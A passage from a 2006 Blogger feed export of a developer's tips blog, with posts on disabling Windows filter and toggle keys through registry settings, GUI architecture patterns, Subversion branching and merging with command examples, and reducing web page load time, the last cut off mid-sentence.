/&gt;[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]&lt;br /&gt;"Flags"="122"&lt;/p&gt;&lt;p&gt;;Disable Toggle Keys&lt;br /&gt;[HKEY_CURRENT_USER\Control Panel\Accessibility\ToggleKeys]&lt;br /&gt;"Flags"="58"&lt;br /&gt;;-------------------------------------&lt;br /&gt;Or download it here:&lt;br /&gt;&lt;a href="http://magicsynthesis.com/download/disablestupidkeys.reg" rel="nofollow"&gt;http://magicsynthesis.com/download/disablestupidkeys.reg&lt;/a&gt;&lt;/p&gt;&lt;p&gt;You can get more information from &lt;a title="problem turning off filter keys in windows" href="http://www.hyperorg.com/blogger/mtarchive/002052.html" target="_blank" rel="problem turning off filter keys in windows"&gt;this post&lt;/a&gt;&lt;/p&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116256916253801334?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116256916253801334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116256916253801334' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116256916253801334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116256916253801334'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/problem-turning-off-filter-keys.html' title='Problem Turning off filter keys'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116248298085891574</id><published>2006-11-02T21:26:00.000+05:30</published><updated>2006-11-02T21:26:20.980+05:30</updated><title type='text'>Different GUI Architectures</title><content type='html'>raphical user interfaces have become a familiar part of our software landscape, both as users and as developers. Looking at it from a design perspective they represent a particular set of problems in system design - problems that have led to a number of different but similar solutions. &lt;p&gt;Identifying common and useful patterns for application developers to use in rich-client development.&amp;nbsp;Various designs in project reviews and also various designs that have been written in a more permanent way. Inside these designs are the useful patterns, but describing them is often not easy. Take Model-View-Controller as an example. It's often referred to as a pattern, but we don't find it terribly useful to think of it as a pattern because it contains quite a few different ideas. Different people reading about MVC in different places take different ideas from it and describe these as 'MVC'. If this doesn't cause enough confusion you then get the effect of misunderstandings of MVC that develop through a system of Chinese whispers.&lt;/p&gt;&lt;p&gt;To some extent you can see this essay as a kind of intellectual history that traces ideas in UI design through multiple architectures over the years.&amp;nbsp;Understanding architectures isn't easy, especially when many of them change and die. Tracing the spread of ideas is even harder, because people read different things from the same architecture. In particular&amp;nbsp;&lt;a title="Different GUI Architectures" href="http://martinfowler.com/eaaDev/uiArchs.html" target="_blank" rel="Different GUI Architectures"&gt;the author&lt;/a&gt;&amp;nbsp;done an exhaustive examination of the architectures I describe. What &lt;a title="Different GUI Architectures" href="http://martinfowler.com/eaaDev/uiArchs.html" target="_blank" rel="Different GUI Architectures"&gt;the author&lt;/a&gt;&amp;nbsp; have done is referred to common descriptions of the designs. If those descriptions miss things out, &lt;a title="Different GUI Architectures" href="http://martinfowler.com/eaaDev/uiArchs.html" target="_blank" rel="Different GUI Architectures"&gt;the author&lt;/a&gt;&amp;nbsp; utterly ignorant of that. So don't take &lt;a title="Different GUI Architectures" href="http://martinfowler.com/eaaDev/uiArchs.html" target="_blank" rel="Different GUI Architectures"&gt;the author&lt;/a&gt;&amp;nbsp; descriptions as an authoritative description of the architectures. Furthermore there things &lt;a title="Different GUI Architectures" href="http://martinfowler.com/eaaDev/uiArchs.html" target="_blank" rel="Different GUI Architectures"&gt;the author&lt;/a&gt;&amp;nbsp; left out or simplified if &lt;a title="Different GUI Architectures" href="http://martinfowler.com/eaaDev/uiArchs.html" target="_blank" rel="Different GUI Architectures"&gt;the author&lt;/a&gt;&amp;nbsp; didn't think they were particularly relevant. Read the authors explanation on &lt;a title="Different GUI Architectures" href="http://martinfowler.com/eaaDev/uiArchs.html" target="_blank" rel="Different GUI Architectures"&gt;Different GUI Architectures&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116248298085891574?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116248298085891574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116248298085891574' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116248298085891574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116248298085891574'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/different-gui-architectures.html' title='Different GUI Architectures'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116231565652155198</id><published>2006-10-31T22:57:00.000+05:30</published><updated>2006-10-31T22:57:36.526+05:30</updated><title type='text'>Points to remember while branching in version control systems</title><content type='html'>&lt;p&gt;That's basically all you need to know, but here are some other pointers:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;When checking in to the branch, always put the branch name in the comment, so that people can easily tell where the change is happening.&lt;/li&gt;&lt;li&gt;You can always make a branch from a revision in the past, even far in the past. I've often seen developers fret about needing to create a fixes branch before beginning work on new feature work. You don't have to. Create the fixes branch when you have a fix to put on it, and create it from the last shipped revision, no matter how long ago it was.&lt;/li&gt;&lt;li&gt;Branches usually have finite lifetimes. For example, a feature branch is obsolete once it has been merged back to the trunk. To keep your branches directory manageable, you can delete the branch when you are done with it. You still have the history of the files in Subversion, and can even retrieve the full branch later if you need it. By deleting the obsolete branches, you let develeopers update from the branches directory without having to wade through unneeded files. &lt;/li&gt;&lt;li&gt;Subversion's strange rule about needing two revision number even to merge a single changelist prompted me to create this one-line script file: &lt;blockquote class="code"&gt;&lt;tt&gt;svn&amp;nbsp;merge&amp;nbsp;-r`expr&amp;nbsp;$2&amp;nbsp;-&amp;nbsp;1`:$2&amp;nbsp;../trunk&amp;nbsp;$1&lt;/tt&gt;&lt;/blockquote&gt;This lets me specify the branch directory and revision number, and it pulls a single changelist from the trunk to the branch. &lt;/li&gt;&lt;li&gt;If you need to merge only part of a changeset, you have two choices: one is to not merge at all, but simply edit the files on the branch to match the changes made on the trunk. Alternately, you can merge the entire changeset, then manually revert the files you don't want, or edit files to undo unwanted changes. Remember, the merge command simply edits files in your working tree, so any changes you want to make, you can make by hand.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a title="Points to remember while branching in version control systems" href="http://www.nedbatchelder.com/text/quicksvnbranch.html" target="_blank" rel="Points to remember while branching in version control systems"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116231565652155198?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116231565652155198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116231565652155198' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231565652155198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231565652155198'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/points-to-remember-while-branching-in.html' title='Points to remember while branching in version control systems'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116231558542975370</id><published>2006-10-31T22:56:00.000+05:30</published><updated>2006-10-31T22:56:25.440+05:30</updated><title type='text'>Different types of branching in version control systems</title><content type='html'>&lt;p&gt;There are many different ways to use branches in software development. In fact, there are enough to fill a &lt;a class="offsite" href="http://www.nedbatchelder.com/blog/200305.html#e20030508T210553"&gt;small book devoted to the subject&lt;/a&gt;. Don't worry about all of that. There are two branch types which solve most development problems:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Fixes Branch: while feature work continues on the trunk, a fixes branch is created to hold the fixes to the latest shipped version of the software. This allows you to fix problems without having to wait for the latest crop of features to be finished and stabilized.&lt;/li&gt;&lt;li&gt;Feature Branch: if a particular feature is disruptive enough or speculative enough that you don't want the entire development team to have to suffer through its early stages, you can create a branch on which to do the work.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These two types of branches have different use patterns involving branch point, merge policy, and lifetime. We'll examine them each in turn.&lt;/p&gt;&lt;h3&gt;Fixes branches&lt;/h3&gt;&lt;p&gt;A fixes branch (or maintenance branch) is used to apply bug fixes to a shipped version of the code. It lets you release follow-on versions of the software with bug fixes without having to incur the risk of shipping partially finished features.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Branching&lt;/b&gt;: the branch is created from the revision that actually shipped. This guarantees that no extra changes have accidentally slipped into your maintenance release. Use the -r argument to the svn copy command to ensure that you have the proper starting point. The branch should be named with the version number or revision number it branched from: fixes_v2_1, or fixes1234, for example. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Changes&lt;/b&gt;: For the most part, fixes are made on the trunk, then merged to the branch. This is because most fixes are appropriate to the trunk, and are chosen for inclusion in the maintenance release. Occaisionally, you may have to fix a bug in a maintenance release in a way that differs from how you would fix it on the trunk, because of changes in the trunk since you shipped. In that case, make the change directly on the fixes branch.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Merging&lt;/b&gt;: Only merge from the trunk to the branch. This is one of the reasons to make fixes on the trunk first. By keeping all the merging in only one direction (trunk to branch), you simplify the process and reduce the possibility of conflicts.&lt;/p&gt;&lt;p&gt;Merges will be done only for specific changesets, those with the bug fixes that should be included in the maintenance release. The merges will therefore be sparse, picking and choosing only those changes needed. The longer the branch is active, the greater possibility that a merge will not be possible because of conflicts introduced by missing changes from the trunk.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Lifetime&lt;/b&gt;: The lifetime of a fixes branch depends on your release model. If you are building a web site or other software that is "shipped" to only one place, the fixes branch will be obsoleted the next time you deploy the trunk. In a more traditional model, the fixes branch will have to stick around for a long time, until you end support for that version of the product. &lt;/p&gt;&lt;p&gt;A popular variant of the fix branch is a release branch: as development nears the point of releasing, a branch is created for the final polishing. This is fine to do so long as it doesn't violate the trunk-majority rule. If everyone is still working on polishing, and all of that work will be merged back to the trunk, there's no point branching yet.&lt;/p&gt;&lt;h3&gt;Feature branches&lt;/h3&gt;&lt;p&gt;A feature branch is used by developers creating a major feature, or one which is speculative, and may not be included in the product. Using one or more feature branch allows your developers to work independently of each other while still using Subversion as a way to share their work within the feature group.&lt;/p&gt;&lt;p&gt;The feature branch is generally kept up to date with the trunk as work progresses. Once the feature is done, the whole branch is merged back to the trunk.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Branching&lt;/b&gt;: the starting point of a features branch is less sensitive than with a fixes branch. When feature work begins, branch from the head, and dive in. Give the branch a descriptive name based on the feature, for example, 3d_ui.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Changes&lt;/b&gt;: the changes on the feature branch are whatever work has to happen to implement the feature. Make the changes on the branch and check them in.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Merging&lt;/b&gt;: the bulk of the merging on the feature branch will be to bring trunk changes over to keep the feature branch current with the trunk. These merges are a periodic maintenance task on the branch, for example, done once a week or so. &lt;/p&gt;&lt;p&gt;Subversion doesn't record the history of merging, so to do this periodic trunk update, you have to manually note which revision you are current with. For example, when the branch is created, note the revision:&lt;/p&gt;&lt;blockquote class="code"&gt;&lt;tt&gt;$&amp;nbsp;svn&amp;nbsp;copy&amp;nbsp;http://svn.myrepo.com/trunk&amp;nbsp;http://svn.myrepo.com/branches/3d_ui&lt;br /&gt;Committed&amp;nbsp;revision&amp;nbsp;1701.&lt;br /&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;p&gt;When the time comes to merge the trunk over, you merge from there, including everything from the latest trunk revision merged, to the head:&lt;/p&gt;&lt;blockquote class="code"&gt;&lt;tt&gt;$&amp;nbsp;svn&amp;nbsp;update&lt;br /&gt;At&amp;nbsp;revision&amp;nbsp;1812.&lt;br /&gt;&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;merge&amp;nbsp;-r1701:1812&amp;nbsp;/work/trunk&amp;nbsp;/work/branches/3d_ui&lt;br /&gt;U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3d_ui/source/hello.py&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;ci&amp;nbsp;-m&amp;nbsp;"[3d_ui]&amp;nbsp;Merged&amp;nbsp;the&amp;nbsp;trunk&amp;nbsp;from&amp;nbsp;1701&amp;nbsp;to&amp;nbsp;1812."&lt;br /&gt;Sending&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3d_ui/source/hello.py&lt;br /&gt;...&lt;br /&gt;Transmitting&amp;nbsp;file&amp;nbsp;data&amp;nbsp;..&lt;br /&gt;Committed&amp;nbsp;revision&amp;nbsp;1813.&lt;br /&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;p&gt;After another interval of work (week, month, whatever is appropriate to your environment), you'll have to merge again to get the recent changes to the trunk. Again, you'll specify a revision range that takes only the changes you haven't already merged:&lt;/p&gt;&lt;blockquote class="code"&gt;&lt;tt&gt;$&amp;nbsp;svn&amp;nbsp;update&lt;br /&gt;At&amp;nbsp;revisioun&amp;nbsp;1865.&lt;br /&gt;&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;merge&amp;nbsp;-r1812:1865&amp;nbsp;/work/trunk&amp;nbsp;/work/branches/3d_ui&lt;br /&gt;U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3d_ui/source/util.py&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;ci&amp;nbsp;-m&amp;nbsp;"[3d_ui]&amp;nbsp;Merged&amp;nbsp;the&amp;nbsp;trunk&amp;nbsp;from&amp;nbsp;1812&amp;nbsp;to&amp;nbsp;1865."&lt;br /&gt;Sending&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3d_ui/source/util.py&lt;br /&gt;...&lt;br /&gt;Transmitting&amp;nbsp;file&amp;nbsp;data&amp;nbsp;..&lt;br /&gt;Committed&amp;nbsp;revision&amp;nbsp;1866.&lt;br /&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;p&gt;The checkin comments are important here, because they are the simplest way to keep track of what the latest merge revision was.&lt;/p&gt;&lt;p&gt;Eventually, the feature is done, and needs to be merged back to the trunk. Now you will merge all of the revisions from the branch point to the head from the branch back to the trunk:&lt;/p&gt;&lt;blockquote class="code"&gt;&lt;tt&gt;$&amp;nbsp;svn&amp;nbsp;update&lt;br /&gt;At&amp;nbsp;revision&amp;nbsp;1911.&lt;br /&gt;&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;merge&amp;nbsp;-r1701:1911&amp;nbsp;/work/branches/3d_ui&amp;nbsp;/work/trunk&lt;br /&gt;U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/work/trunk/source/hologram.py&lt;br /&gt;U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/work/trunk/source/volume.py&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;ci&amp;nbsp;-m&amp;nbsp;"Merged&amp;nbsp;the&amp;nbsp;3d_ui&amp;nbsp;branch&amp;nbsp;back&amp;nbsp;to&amp;nbsp;the&amp;nbsp;trunk."&lt;br /&gt;Sending&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/work/trunk/source/hologram.py&lt;br /&gt;Sending&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/work/trunk/source/volume.py&lt;br /&gt;...&lt;br /&gt;Transmitting&amp;nbsp;file&amp;nbsp;data&amp;nbsp;..&lt;br /&gt;Committed&amp;nbsp;revision&amp;nbsp;1912.&lt;br /&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;b&gt;Lifecycle&lt;/b&gt;: at this point, the feature branch is done. You can go back to working on the trunk, or creating a new branch for the next big thing.&lt;/p&gt;&lt;p&gt;&lt;a title="Different types of branching in version control systems" href="http://www.nedbatchelder.com/text/quicksvnbranch.html" target="_blank" rel="Different types of branching in version control systems"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116231558542975370?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116231558542975370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116231558542975370' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231558542975370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231558542975370'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/different-types-of-branching-in.html' title='Different types of branching in version control systems'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116231543666983268</id><published>2006-10-31T22:53:00.000+05:30</published><updated>2006-10-31T22:53:56.696+05:30</updated><title type='text'>Branching in subversion </title><content type='html'>&lt;p&gt;Subversion makes branching a simple process. If you set up your repository following the Subversion guidelines, you have a trunk/ directory and a branches/ directory. There's nothing magical about these directories, so if you don't have them, you can put your branch anywhere you like.&lt;/p&gt;&lt;p&gt;You'll use the svn copy command to copy the trunk as a branch. This doesn't actually copy any files until changes are made, so don't worry about disk space. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;Decide on a name for the branch. It should be short and descriptive, and usable as a directory name. In these examples, it's "mybranch".&lt;/li&gt;&lt;li&gt;Use the svn copy command to create the branch in the repository by copying the trunk. The arguments are a destination path and a source path. The svn info command may be helpful to remind yourself what your repository path is. Here's an example that creates the mybranch branch from the trunk: &lt;blockquote class="code"&gt;&lt;tt&gt;$&amp;nbsp;svn&amp;nbsp;copy&amp;nbsp;http://svn.myrepo.com/trunk&amp;nbsp;http://svn.myrepo.com/branches/mybranch&lt;br /&gt;Committed&amp;nbsp;revision&amp;nbsp;1701.&lt;br /&gt;&lt;/tt&gt;&lt;/blockquote&gt;The change is committed immediately. Because this command uses repository paths, it changed the repository directly, with no effect on your working directory.&lt;/li&gt;&lt;li&gt;To get a working directory for your branch, you can simply go to your branches/ working directory and update to get the new branch: &lt;blockquote class="code"&gt;&lt;tt&gt;$&amp;nbsp;cd&amp;nbsp;/work/branches&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;up&lt;br /&gt;&lt;/tt&gt;&lt;/blockquote&gt;If you haven't checked out the branches directory, you can use the svn checkout command to get it or just the mybranch directory: &lt;blockquote class="code"&gt;&lt;tt&gt;$&amp;nbsp;mkdir&amp;nbsp;/work/branches&lt;br /&gt;$&amp;nbsp;svn&amp;nbsp;co&amp;nbsp;&lt;a href="http://svn.myrepo.com/branches/mybranch"&gt;http://svn.myrepo.com/branches/mybranch&lt;/a&gt;&lt;/tt&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;That's it. Now you have a directory at /work/branches/mybranch where you can do whatever work you need to do.&lt;/p&gt;&lt;p&gt;The example above branched from the tip of the trunk (what Subversion calls HEAD). You can also branch from a particular past revision by specifying the -r argument with a revision number. &lt;/p&gt;&lt;h3&gt;Working&lt;/h3&gt;&lt;p&gt;Working with your branch is exactly the same as working on the trunk. You use svn update to get the latest code from the repository, you edit files, and you use svn commit to check in code to the repository.&lt;/p&gt;&lt;p&gt;Subversion doesn't make any fundamental distinction between branches and trunk. All changesets go into the same list of changesets, each with its own sequential revision number. This is because a Subversion revision number represents a revision of the entire repository, not of a single file.&lt;/p&gt;&lt;p&gt;&lt;a title="branching in subversion version control system" href="http://www.nedbatchelder.com/text/quicksvnbranch.html" target="_blank" rel="branching in subversion version control system"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116231543666983268?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116231543666983268/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116231543666983268' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231543666983268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231543666983268'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/branching-in-subversion.html' title='Branching in subversion '/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116231512039346797</id><published>2006-10-31T22:48:00.000+05:30</published><updated>2006-10-31T22:48:40.400+05:30</updated><title type='text'>Principles of branching in version control systems</title><content type='html'>Many developers are uneasy about branching and merging, even those who consider source control essential. It can be a very complicated process, but it doesn't have to be, and it is a very powerful way to manage development. Here's how to get started with branches in Subversion. &lt;h3&gt;Principles&lt;/h3&gt;&lt;p&gt;Branching produces a split in a code stream: different developers can be working in alternate universes of the same set of code. Changes are made independently to each stream. Merging brings changes back together to combine the streams. There are a number of reasons why you might want to use branches, and different reasons produce different kinds of branches. &lt;/p&gt;&lt;p&gt;Branching is a powerful tool in managing development and releases. There are many different styles of branching, but I've only ever needed two: Fixes and Features, which I'll describe below. These are simple, and fill 90% of the need for branching. Don't go overboard with elaborate branches. Purists will develop complex theories and algebras of branching, with baroque policies and criteria. It doesn't have to be complicated.&lt;/p&gt;&lt;p&gt;One recurring debate is over what goes on the trunk and what goes on the branch. How do you decide what work will happen on the trunk, and what will happen on the branch? Here is my rule: &lt;strong&gt;Branches are for the minority&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Using a branch is always more involved than using the trunk, so the trunk should be used by the majority, and the branch should belong to the minority. Subversion is easier than other source control systems in this regard, but the rule still holds: when trying to decide what goes on the trunk and what goes on the branch, put the code that most developers want on the trunk, and put the minority on the branch. &lt;/p&gt;&lt;p&gt;&lt;a title="Principles of branching in version control systems" href="http://www.nedbatchelder.com/text/quicksvnbranch.html" target="_blank" rel="Principles of branching in version control systems"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116231512039346797?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116231512039346797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116231512039346797' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231512039346797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231512039346797'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/principles-of-branching-in-version.html' title='Principles of branching in version control systems'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116231467887828501</id><published>2006-10-31T22:41:00.000+05:30</published><updated>2006-10-31T22:41:19.003+05:30</updated><title type='text'>Tips to reduce your page load time</title><content type='html'>&lt;p&gt;It is widely accepted that fast-loading pages improve the user experience. In recent years, many sites have started using &lt;a href="http://en.wikipedia.org/wiki/Ajax_%28programming%29"&gt;AJAX&lt;/a&gt; techniques to reduce latency. Rather than round-trip through the server retrieving a completely new page with every click, often the browser can either alter the layout of the page instantly or fetch a small amount of HTML, XML, or javascript from the server and alter the existing page. In either case, this significantly decreases the amount of time between a user click and the browser finishing rendering the new content.&lt;/p&gt;&lt;p&gt;However, for many sites that reference dozens of external objects, the majority of the page load time is spent in separate HTTP requests for images, javascript, and stylesheets. AJAX probably could help, but speeding up or eliminating these separate HTTP requests might help more, yet there isn't a common body of knowledge about how to do so.&lt;/p&gt;&lt;p&gt;Try some of the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Turn on &lt;a href="http://httpd.apache.org/docs/2.0/mod/core.html#keepalive"&gt;HTTP keepalives&lt;/a&gt; for external objects. Otherwise you add an extra round-trip for every HTTP request. If you are worried about hitting global server connection limits, set the keepalive timeout to something short, like 5-10 seconds. Also look into serving your static content from a different webserver than your dynamic content. Having thousands of connections open to a stripped down static file webserver can happen in like 10 megs of RAM total, whereas your main webserver might easily eat 10 megs of RAM per connection. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Load fewer external objects. Figure out how to globally reference the same one or two javascript files and one or two external stylesheets instead of many; try preprocessing them when you publish them. If your UI uses dozens of tiny GIFs all over the place, consider switching to CSS, which tends to not need so many of these.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If your users regularly load a dozen or more uncached or uncachable objects per page, consider evenly spreading those objects over four hostnames. This usually means your users can have 4x as many outstanding connections to you. Without HTTP pipelining, this results in their average latency dropping to about 1/4 of what it was before.&lt;/p&gt;&lt;p&gt;Evenly spreading your images over four hostnames is most easily done with a hash function, like MD5. Rather than loading all of your objects from http://static.example.com/, create four hostnames (e.g. static0.example.com, static1.example.com, static2.example.com, static3.example.com) and use two bits from an MD5 of the image path to select between them.&lt;/p&gt;&lt;p&gt;Beware that each additional hostname adds the overhead of an extra DNS lookup and an extra TCP three-way handshake. If your users have pipelining enabled or a given page loads fewer than around a dozen objects, they will see no benefit from the increased concurrency and the site may actually load more slowly. The benefits only become apparent on pages with larger numbers of objects. Be sure to measure the difference seen by your users if you implement this.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Allow static images, stylesheets, and javascript to be cached by the browser. This won't help the first page load for a new user, but can substantially speed up subsequent ones. &lt;/p&gt;&lt;p&gt;Set an &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.21"&gt;Expires header&lt;/a&gt; on everything you can, with a date days or even months into the future. This tells the browser it is okay to not revalidate on every request, which can add latency of at least one round-trip per object per page load for no reason.&lt;/p&gt;&lt;p&gt;Instead of relying on the browser to revalidate its cache, if you change an object, change its URL. One simple way to do this for static objects if you have staged pushes is to have the push process create a new directory named by the build number, and teach your site to always reference objects out of the current build's base URL. (Instead of &amp;lt;img src="http://example.com/logo.gif"&amp;gt; you'd use &amp;lt;img src="http://example.com/build/1234/logo.gif"&amp;gt;. When you do another build next week, all references change to &amp;lt;img src="http://example.com/build/1235/logo.gif"&amp;gt;.) This also nicely solves problems with browsers sometimes caching things longer than they should -- since the URL changed, they think it is a completely different object.&lt;/p&gt;&lt;p&gt;If you conditionally gzip HTML, javascript, or CSS, you probably want to add a "&lt;A href="http://www.w3.org/protocols/rfc2616/rfc2616-sec14.html#sec14.9"&gt;Cache-Control&lt;/A&gt;: private" if you set an Expires header. This will prevent problems with caching by proxies that won't understand that your gzipped content can't be served to everyone. (The Vary header was designed to do this more elegantly, but you can't use it because of IE brokenness.)&lt;/p&gt;&lt;p&gt;For anything where you always serve the exact same content when given the same URL (e.g. static images), add "Cache-Control: public" to give proxies explicit permission to cache the result and serve it to different users. If a local cache has the content, it is likely to have much less latency than you; why not let it serve your static objects if it can?&lt;/p&gt;&lt;p&gt;Avoid the use of query params in image URLs, etc. At least the &lt;a href="http://www.squid-cache.org/"&gt;Squid cache&lt;/a&gt; refuses to cache any URL containing a question mark by default. I've heard rumors that other things won't cache those URLs at all, but I 